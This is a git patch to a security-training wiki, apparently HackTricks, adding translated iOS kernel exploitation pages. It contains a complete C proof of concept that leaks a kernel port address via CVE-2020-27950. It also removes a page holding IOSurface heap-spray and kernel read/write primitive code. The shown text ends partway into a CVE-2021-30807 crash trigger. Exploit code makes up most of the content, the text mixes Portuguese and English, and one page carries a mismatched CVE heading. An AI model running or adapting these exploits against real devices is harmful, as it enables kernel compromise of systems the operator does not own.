From 3efb9abf5e47053d1b3519bdb940469e144a22ad Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Sep 2025 00:48:20 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/ios-exploiting/README.md', 'src/bin --- src/SUMMARY.md | 4 +- src/binary-exploitation/ios-exploiting.md | 207 ------- .../CVE-2020-27950-mach_msg_trailer_t.md | 332 +++++++++++ .../CVE-2021-30807-IOMobileFrameBuffer.md | 297 ++++++++++ .../ios-exploiting/README.md | 272 +++++++++ .../ios-exploiting/ios-corellium.md | 79 +++ .../ios-example-heap-exploit.md | 205 +++++++ .../ios-physical-uaf-iosurface.md | 215 +++++++ .../linux-post-exploitation/README.md | 43 +- .../privilege-escalation/README.md | 525 +++++++++--------- .../android-app-pentesting/README.md | 492 ++++++++-------- ...-instrumentation-and-ssl-pinning-bypass.md | 78 +-- .../avd-android-virtual-device.md | 88 +-- .../frida-tutorial/README.md | 58 +- .../install-burp-certificate.md | 55 +- .../pentesting-smb/README.md | 155 +++--- ...bd-attack-surface-and-fuzzing-syzkaller.md | 90 +-- .../pentesting-web/README.md | 193 +++---- .../electron-desktop-apps/README.md | 191 +++---- .../pentesting-web/laravel.md | 88 +-- .../pentesting-web/sitecore/README.md | 50 +- .../pentesting-web/wordpress.md | 273 +++++---- .../pentesting-web/wsgi.md | 169 ++++++ src/pentesting-web/cache-deception/README.md | 182 +++--- ...er-gadgets-expandedwrapper-and-json.net.md | 72 +-- src/pentesting-web/file-upload/README.md | 147 ++--- 26 files changed, 2963 insertions(+), 1597 deletions(-) delete mode 100644 src/binary-exploitation/ios-exploiting.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md create mode 100644 src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md create mode 100644 src/binary-exploitation/ios-exploiting/README.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-corellium.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md create mode 100644 src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md create mode 100644 src/network-services-pentesting/pentesting-web/wsgi.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index b18b11ccd..d4104d430 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -768,7 +768,7 @@ - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) -- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) +- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) @@ -838,7 +838,7 @@ - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md deleted file mode 100644 index 3778b07e5..000000000 --- a/src/binary-exploitation/ios-exploiting.md +++ /dev/null @@ -1,207 +0,0 @@ -# iOS Exploiting - -{{#include ../banners/hacktricks-training.md}} - -## Uso físico após liberação - -Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) - -### Gerenciamento de memória no XNU - -O **espaço de endereços de memória virtual** para processos de usuário no iOS varia de **0x0 a 0x8000000000**. No entanto, esses endereços não mapeiam diretamente para a memória física. Em vez disso, o **kernel** usa **tabelas de páginas** para traduzir endereços virtuais em **endereços físicos** reais. - -#### Níveis de Tabelas de Páginas no iOS - -As tabelas de páginas são organizadas hierarquicamente em três níveis: - -1. **Tabela de Páginas L1 (Nível 1)**: -* Cada entrada aqui representa uma grande faixa de memória virtual. -* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual. -2. **Tabela de Páginas L2 (Nível 2)**: -* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB). -* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha. -3. **Tabela de Páginas L3 (Nível 3)**: -* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**. -* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário. - -#### Mapeamento de Memória Virtual para Física - -* **Mapeamento Direto (Mapeamento de Bloco)**: -* Algumas entradas em uma tabela de páginas **mapeiam diretamente uma faixa de endereços virtuais** para uma faixa contígua de endereços físicos (como um atalho). -* **Ponteiro para Tabela de Páginas Filha**: -* Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2). - -#### Exemplo: Mapeando um Endereço Virtual - -Vamos supor que você tente acessar o endereço virtual **0x1000000000**: - -1. **Tabela L1**: -* O kernel verifica a entrada da tabela de páginas L1 correspondente a este endereço virtual. Se tiver um **ponteiro para uma tabela de páginas L2**, ele vai para essa tabela L2. -2. **Tabela L2**: -* O kernel verifica a tabela de páginas L2 para um mapeamento mais detalhado. Se esta entrada apontar para uma **tabela de páginas L3**, ele prossegue para lá. -3. **Tabela L3**: -* O kernel consulta a entrada final L3, que aponta para o **endereço físico** da página de memória real. - -#### Exemplo de Mapeamento de Endereço - -Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então: - -* Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**. -* Este é um **mapeamento de bloco** no nível L2. - -Alternativamente, se a entrada L2 apontar para uma tabela L3: - -* Cada página de 4 KB na faixa de endereços virtuais **0x1000000000 -> 0x1002000000** seria mapeada por entradas individuais na tabela L3. - -### Uso físico após liberação - -Um **uso físico após liberação** (UAF) ocorre quando: - -1. Um processo **aloca** alguma memória como **legível e gravável**. -2. As **tabelas de páginas** são atualizadas para mapear essa memória para um endereço físico específico que o processo pode acessar. -3. O processo **desaloca** (libera) a memória. -4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre. -5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**. -6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física. - -Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, permitindo potencialmente que um atacante **manipule a memória do kernel**. - -### Estratégia de Exploração: Heap Spray - -Como o atacante não pode controlar quais páginas específicas do kernel serão alocadas para a memória liberada, ele usa uma técnica chamada **heap spray**: - -1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel. -2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação. -3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada. -4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever na memória do kernel**. - -Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) - -### Processo Passo a Passo do Heap Spray - -1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico"). -2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada. -3. **Ler/Escrever na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles: -* Use um campo para **ler qualquer valor de 32 bits** na memória do kernel. -* Use outro campo para **gravar valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável. - -Gere objetos IOSurface com o valor mágico IOSURFACE\_MAGIC para buscar mais tarde: -```c -void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { -if (*nClients >= 0x4000) return; -for (int i = 0; i < nSurfaces; i++) { -fast_create_args_t args; -lock_result_t result; - -size_t size = IOSurfaceLockResultSize; -args.address = 0; -args.alloc_size = *nClients + 1; -args.pixel_format = IOSURFACE_MAGIC; - -IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); -io_connect_t id = result.surface_id; - -(*clients)[*nClients] = id; -*nClients = (*nClients) += 1; -} -} -``` -Procure por **`IOSurface`** objetos em uma página física liberada: -```c -int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { -io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); -int nSurfaceIDs = 0; - -for (int i = 0; i < 0x400; i++) { -spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); - -for (int j = 0; j < nPages; j++) { -uint64_t start = puafPages[j]; -uint64_t stop = start + (pages(1) / 16); - -for (uint64_t k = start; k < stop; k += 8) { -if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { -info.object = k; -info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; -if (self_task) *self_task = iosurface_get_receiver(k); -goto sprayDone; -} -} -} -} - -sprayDone: -for (int i = 0; i < nSurfaceIDs; i++) { -if (surfaceIDs[i] == info.surface) continue; -iosurface_release(client, surfaceIDs[i]); -} -free(surfaceIDs); - -return 0; -} -``` -### Conseguindo Leitura/Escrita no Kernel com IOSurface - -Após conseguir controle sobre um objeto IOSurface na memória do kernel (mapeado para uma página física liberada acessível a partir do espaço do usuário), podemos usá-lo para **operações de leitura e escrita arbitrárias no kernel**. - -**Campos Chave em IOSurface** - -O objeto IOSurface possui dois campos cruciais: - -1. **Ponteiro de Contagem de Uso**: Permite uma **leitura de 32 bits**. -2. **Ponteiro de Timestamp Indexado**: Permite uma **escrita de 64 bits**. - -Ao sobrescrever esses ponteiros, redirecionamos eles para endereços arbitrários na memória do kernel, habilitando capacidades de leitura/escrita. - -#### Leitura de 32 Bits no Kernel - -Para realizar uma leitura: - -1. Sobrescreva o **ponteiro de contagem de uso** para apontar para o endereço alvo menos um deslocamento de 0x14 bytes. -2. Use o método `get_use_count` para ler o valor naquele endereço. -```c -uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { -uint64_t args[1] = {surfaceID}; -uint32_t size = 1; -uint64_t out = 0; -IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); -return (uint32_t)out; -} - -uint32_t iosurface_kread32(uint64_t addr) { -uint64_t orig = iosurface_get_use_count_pointer(info.object); -iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 -uint32_t value = get_use_count(info.client, info.surface); -iosurface_set_use_count_pointer(info.object, orig); -return value; -} -``` -#### 64-Bit Kernel Write - -Para realizar uma escrita: - -1. Sobrescreva o **ponteiro de timestamp indexado** para o endereço alvo. -2. Use o método `set_indexed_timestamp` para escrever um valor de 64 bits. -```c -void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { -uint64_t args[3] = {surfaceID, 0, value}; -IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); -} - -void iosurface_kwrite64(uint64_t addr, uint64_t value) { -uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); -iosurface_set_indexed_timestamp_pointer(info.object, addr); -set_indexed_timestamp(info.client, info.surface, value); -iosurface_set_indexed_timestamp_pointer(info.object, orig); -} -``` -#### Recapitulação do Fluxo de Exploit - -1. **Acionar Uso-Físico Após Liberação**: Páginas liberadas estão disponíveis para reutilização. -2. **Spray Objetos IOSurface**: Alocar muitos objetos IOSurface com um "valor mágico" único na memória do kernel. -3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla. -4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface. - -Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos). - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md new file mode 100644 index 000000000..dca997bf3 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md @@ -0,0 +1,332 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## A Falha + +Você tem uma [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mas, em resumo: + +Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**. + +These are the trailer relevant structs: +```c +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +} mach_msg_trailer_t; + +typedef struct{ +mach_msg_trailer_type_t msgh_trailer_type; +mach_msg_trailer_size_t msgh_trailer_size; +mach_port_seqno_t msgh_seqno; +security_token_t msgh_sender; +audit_token_t msgh_audit; +mach_port_context_t msgh_context; +int msgh_ad; +msg_labels_t msgh_labels; +} mach_msg_mac_trailer_t; + +#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t) +typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t; +#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t)) +``` +Então, quando o objeto trailer é gerado, apenas alguns campos são inicializados, e o tamanho máximo do trailer é sempre reservado: +```c +trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size); +trailer->msgh_sender = current_thread()->task->sec_token; +trailer->msgh_audit = current_thread()->task->audit_token; +trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0; +trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE; +[...] +trailer->msgh_labels.sender = 0; +``` +Então, por exemplo, ao tentar ler uma mach message usando `mach_msg()`, a função `ipc_kmsg_add_trailer()` é chamada para anexar o trailer à mensagem. Dentro dessa função o tamanho do trailer é calculado e alguns outros campos do trailer são preenchidos: +```c +if (!(option & MACH_RCV_TRAILER_MASK)) { [3] +return trailer->msgh_trailer_size; +} + +trailer->msgh_seqno = seqno; +trailer->msgh_context = context; +trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option); +``` +O parâmetro `option` é controlado pelo usuário, então **é necessário fornecer um valor que passe na verificação `if`.** + +Para passar essa verificação precisamos enviar um `option` suportado válido: +```c +#define MACH_RCV_TRAILER_NULL 0 +#define MACH_RCV_TRAILER_SEQNO 1 +#define MACH_RCV_TRAILER_SENDER 2 +#define MACH_RCV_TRAILER_AUDIT 3 +#define MACH_RCV_TRAILER_CTX 4 +#define MACH_RCV_TRAILER_AV 7 +#define MACH_RCV_TRAILER_LABELS 8 + +#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28) +#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24) +#define MACH_RCV_TRAILER_MASK ((0xf << 24)) +``` +Mas, como o `MACH_RCV_TRAILER_MASK` está apenas verificando bits, podemos passar qualquer valor entre `0` e `8` para não entrar no bloco `if`. + +Em seguida, continuando com o código você pode encontrar: +```c +if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) { +trailer->msgh_ad = 0; +} + +/* +* The ipc_kmsg_t holds a reference to the label of a label +* handle, not the port. We must get a reference to the port +* and a send right to copyout to the receiver. +*/ + +if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) { +trailer->msgh_labels.sender = 0; +} + +done: +#ifdef __arm64__ +ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread)); +#endif /* __arm64__ */ + +return trailer->msgh_trailer_size; +``` +Onde você pode ver que se o `option` for maior ou igual a `MACH_RCV_TRAILER_AV` (7), o campo **`msgh_ad`** é inicializado com `0`. + +Se você reparou, **`msgh_ad`** ainda era o único campo do trailer que não havia sido inicializado antes, o que poderia conter um leak de memória usada anteriormente. + +Portanto, a maneira de evitar inicializá-lo seria passar um valor de `option` igual a `5` ou `6`, de modo que passe no primeiro teste `if` e não entre no `if` que inicializa `msgh_ad`, porque os valores `5` e `6` não têm nenhum tipo de trailer associado. + +### PoC Básico + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data. + +### PoC de Leak de Endereço do Kernel + +Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked. + +Comentários foram adicionados para melhor entendimento: +```c +#include +#include +#include +#include + +// Number of OOL port descriptors in the "big" message. +// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds). +#define LEAK_PORTS 50 + +// "Big" message: many descriptors → larger descriptor array in kmsg +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS]; +} message_big_t; + +// "Small" message: fewer descriptors → leaves more room for the trailer +// to overlap where descriptor pointers used to be in the reused kalloc chunk. +typedef struct { +mach_msg_header_t header; +mach_msg_body_t body; +mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10]; +} message_small_t; + +int main(int argc, char *argv[]) { +mach_port_t port; // our local receive port (target of sends) +mach_port_t sent_port; // the port whose kernel address we want to leak + +/* +* 1) Create a receive right and attach a send right so we can send to ourselves. +* This gives us predictable control over ipc_kmsg allocations when we send. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); +mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + +/* +* 2) Create another receive port (sent_port). We'll reference this port +* in OOL descriptors so the kernel stores pointers to its ipc_port +* structure in the kmsg → those pointers are what we aim to leak. +*/ +mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port); +mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND); + +printf("[*] Will get port %x address\n", sent_port); + +message_big_t *big_message = NULL; +message_small_t *small_message = NULL; + +// Compute userland sizes of our message structs +mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message); +mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message); + +// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin) +big_message = malloc(big_size + MAX_TRAILER_SIZE); +small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +/* +* 3) Prepare the "big" message: +* - Complex bit set (has descriptors) +* - 50 OOL port descriptors, all pointing to the same sent_port +* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port). +* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel). +*/ +printf("[*] Creating first kalloc.1024 ipc_kmsg\n"); +memset(big_message, 0, big_size + MAX_TRAILER_SIZE); + +big_message->header.msgh_remote_port = port; // send to our receive right +big_message->header.msgh_size = big_size; +big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +big_message->body.msgh_descriptor_count = LEAK_PORTS; + +for (int i = 0; i < LEAK_PORTS; i++) { +big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers +} + +/* +* 4) Prepare the "small" message: +* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused, +* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived. +*/ +printf("[*] Creating second kalloc.1024 ipc_kmsg\n"); +memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE); + +small_message->header.msgh_remote_port = port; +small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) +| MACH_MSGH_BITS_COMPLEX; +small_message->body.msgh_descriptor_count = LEAK_PORTS - 10; + +for (int i = 0; i < LEAK_PORTS - 10; i++) { +small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR; +small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND; +small_message->sent_ports[i].name = sent_port; +} + +/* +* 5) Receive buffer for reading back messages with trailers. +* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5). +* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized +* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak. +*/ +uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE); +mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally) +uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks + +/* +* ---------- Exploitation sequence ---------- +* +* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many +* kernel pointers (ipc_port*) in its descriptor array. +*/ +printf("[*] Sending message 1\n"); +mach_msg(&big_message->header, +MACH_SEND_MSG, +big_size, // send size +0, // no receive +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step B: Immediately receive/discard it with a zero-sized buffer. +* This frees the kalloc chunk without copying descriptors back, +* leaving the kernel pointers resident in freed memory (stale). +*/ +printf("[*] Discarding message 1\n"); +mach_msg((mach_msg_header_t *)0, +MACH_RCV_MSG, // try to receive +0, // send size 0 +0, // recv size 0 (forces error/free path) +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step C: Reuse the same size-class with the "small" message (fewer descriptors). +* We slightly bump msgh_size by +4 so that when the kernel appends +* the trailer, the trailer's uninitialized field `msgh_ad` overlaps +* the low 4 bytes of a stale ipc_port* pointer from the prior message. +*/ +small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window +printf("[*] Sending message 2\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t), +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +/* +* Step D: Receive message 2 and request an invalid trailer elements value (5). +* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer. +* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size. +* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7), +* so with 5, `msgh_ad` remains uninitialized → stale bytes leak. +*/ +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 2\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950 +0, +small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +// Trailer begins right after the message body we sent (small_size + 4) +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)); + +// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*) +sent_port_address |= (uint32_t)trailer->msgh_ad; + +/* +* Step E: Repeat the A→D cycle but now shift by another +4 bytes. +* This moves the overlap window so `msgh_ad` captures the high 4 bytes. +*/ +printf("[*] Sending message 3\n"); +mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +printf("[*] Discarding message 3\n"); +mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + +// add another +4 to msgh_size → total +8 shift from the baseline +small_message->header.msgh_size = small_size + sizeof(uint32_t)*2; +printf("[*] Sending message 4\n"); +mach_msg(&small_message->header, +MACH_SEND_MSG, +small_size + sizeof(uint32_t)*2, +0, +MACH_PORT_NULL, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +memset(buffer, 0, big_size + MAX_TRAILER_SIZE); +printf("[*] Reading back message 4\n"); +mach_msg((mach_msg_header_t *)buffer, +MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), +0, +small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, +port, +MACH_MSG_TIMEOUT_NONE, +MACH_PORT_NULL); + +trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2); + +// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer +sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32; + +printf("[+] Port %x has address %lX\n", sent_port, sent_port_address); + +return 0; +} +``` +## Referências + +- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md new file mode 100644 index 000000000..1bb6ea3c2 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md @@ -0,0 +1,297 @@ +# CVE-2021-30807: IOMobileFrameBuffer OOB + +{{#include ../../banners/hacktricks-training.md}} + + +## A Vulnerabilidade + +Você tem uma [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), mas em resumo: + +- O caminho de código vulnerável é o **external method #83** do cliente de usuário **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Esse método recebe um parâmetro controlado pelo usuário que não é verificado de nenhuma forma e que é passado para a função seguinte como **`scalar0`**. + +- Esse método encaminha para **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, onde **`scalar0`** (um valor **32-bit** controlado pelo usuário) é usado como um **índice** em um **array interno de ponteiros** sem **qualquer verificação de limites**: + +> `ptr = *(this + 0xA58 + scalar0 * 8);` → passado para `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` como um **`IOSurface*`**.\ +> **Resultado:** **OOB pointer read & type confusion** nesse array. Se o ponteiro não for válido, o kernel ao deref faz panic → **DoS**. + +> [!NOTE] +> Isso foi corrigido em **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** + + +> [!WARNING] +> A função inicial a ser chamada `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` é protegida pela entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Entretanto, **WebKit.WebContent** possui essa entitlement, então ela pode ser usada para disparar a vuln a partir de um processo sandboxed. + +## DoS PoC + +O seguinte é o DoS PoC inicial do post original do blog com comentários extras: +```c +// PoC for CVE-2021-30807 trigger (annotated) +// NOTE: This demonstrates the crash trigger; it is NOT an LPE. +// Build/run only on devices you own and that are vulnerable. +// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory) +// https://support.apple.com/en-us/103144 +// https://nvd.nist.gov/vuln/detail/CVE-2021-30807 + +void trigger_clcd_vuln(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 